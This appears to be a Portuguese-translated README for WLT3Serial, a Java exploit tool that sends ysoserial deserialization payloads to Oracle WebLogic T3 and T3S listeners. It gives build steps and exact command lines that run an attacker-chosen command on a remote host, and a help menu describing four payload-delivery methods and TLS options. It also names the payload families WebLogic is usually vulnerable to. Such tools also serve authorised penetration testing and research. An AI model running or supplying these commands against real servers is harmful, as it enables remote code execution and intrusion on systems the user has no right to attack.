
Exploit de desserialização baseado em Java nativo para ouvintes T3 (e T3S) do WebLogic.
Exploit de desserialização nativo baseado em Java para listeners WebLogic T3 (e T3S) (conforme descrito AQUI). Requer dependências de terceiros ysoserial e wlthint3client.
Requer Oracle Java 7 ou 8. Não foi testado com nenhum outro fornecedor de Java (como OpenJDK ou IBM JRE), então não faço promessas de suporte para esses. Provavelmente pode ser construído com Java 9 ou 10, mas não faço promessas de suporte para esses.
O WLT3Serial é construído através do sistema de automação de build Gradle. O Gradle 4 deve ser usado para construção, embora outras versões tenham sido parcialmente testadas (consulte a seção Desenvolvimento).
Dependências de Terceiros:
Procedimento:
git clone https://github.com/Bort-Millipede/WLT3Serial.gitgradle clean preparegradle build -x testRequer Oracle Java 7 ou 8. Não foi testado com nenhum outro fornecedor de Java (como OpenJDK ou IBM JRE), então não faço promessas de suporte para esses. Provavelmente pode ser usado com Java 9 ou 10, mas não faço promessas de suporte para esses.
Se estiver usando os métodos de exploração Property (padrão), Bind ou WLBind, o WLT3Serial deve ser executado da seguinte forma (observe o valor do parâmetro '-cp' do java):
java -cp /path/to/ysoserial.jar:/path/to/wlthint3client.jar:/path/to/WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\wlthint3client.jar;\path\to\WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDSe estiver usando o método de exploração CustomClass, o WLT3Serial deve ser executado da seguinte forma (observe o valor do parâmetro '-cp' do java):
java -cp /path/to/ysoserial.jar:/path/to/WLT3Serial-[VERSION].jar:/path/to/wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\WLT3Serial-[VERSION].jar;\path\to\wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDAbaixo está a saída do menu de ajuda embutido:
Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD
Options:
--help print usage (you're lookin at it)
--verbose Verbose output (full thrown exception output; Disabled by default)
--method=EXPLOIT_METHOD Exploit Method for delivering generated ysoserial payload
Exploit Methods:
Property Send ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)
Bind Send ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
WLBind Send ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
CustomClass Send ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)
--t3s[=PROTOCOL] Use T3S (transport-encrypted) connection (Disabled by default)
Protocols:
TLSv1.2
TLSv1.1
TLSv1 (Default)
SSLv3
SSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)
Available Payload Types (WebLogic is usually vulnerable to "CommonsCollectionsX" and "JRMPClientX" types):
(available payloads listed here)